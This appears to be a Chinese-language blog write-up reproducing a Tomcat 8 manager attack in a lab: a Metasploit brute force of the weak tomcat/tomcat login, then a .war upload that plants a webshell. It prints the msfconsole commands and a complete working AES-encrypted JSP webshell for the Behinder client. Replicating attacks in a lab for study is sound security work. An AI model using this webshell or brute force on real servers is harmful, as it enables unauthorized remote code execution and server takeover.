Tomcat8 - 弱口令与后台上传getshell的漏洞复现

Tomcat8 - 弱口令与后台上传getshell的漏洞复现

漏洞形成原因

Tomcat manager 登录界面存在弱口令漏洞(tomcat,tomcat),登录成功后有上传点,
压缩包 xxx.wa r的.war不会被解析,直接访问 xxx/里面的一句话路径,可直接拿到shell

漏洞如何利用

  1. msfconsole 中弱口令爆破,爆破成功后登录;
  2. 找到上传点,上传带有一句话jsp文件的名为xxx.war的包;
  3. 访问 攻击ip地址/xxx/jsp文件路径,再用 webshell 连接工具进行连接。

漏洞复现过程

  • Kali docker 容器中启动此漏洞环境
    Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第1张图片
  • 浏览器访问 Kali 的 ip 地址并接上8080端口
    Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第2张图片
  • 进入 msfconsole 界面
msfconsole

Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第3张图片

  • 查找与 tomcat 相关的模块
search tomcat

Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第4张图片

  • 使用 auxiliary/scanner/http/tomcat_mgr_login 模块
use auxiliary/scanner/http/tomcat_mgr_login 
  • 查看需要填写哪些参数
show options

Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第5张图片

  • 将 rhosts 设置为目标机
set rhosts 172.16.2.174

在这里插入图片描述

  • 进行爆破
run

Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第6张图片
带有+号的即为爆破成功的账号密码

  • 点击 Manager App 进行登录
    Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第7张图片
  • 登录后找到上传点
    Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第8张图片
  • 将带有一句话的111.jsp文件压缩成zip,并且将压缩后的zip文件改名为111.war
  • jsp 一句话木马,密码为pass
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

  • 上传111.war文件
    在这里插入图片描述

Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第9张图片

  • 访问 172.16.2.174:8080/111/111.jsp,显示500
    Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第10张图片
  • 上冰蝎
    Tomcat8 - 弱口令与后台上传getshell的漏洞复现_第11张图片
    漏洞复现成功,

技术萌新,还请各位大牛多多指点!

你可能感兴趣的:(#,Tomcat,web,安全,安全漏洞)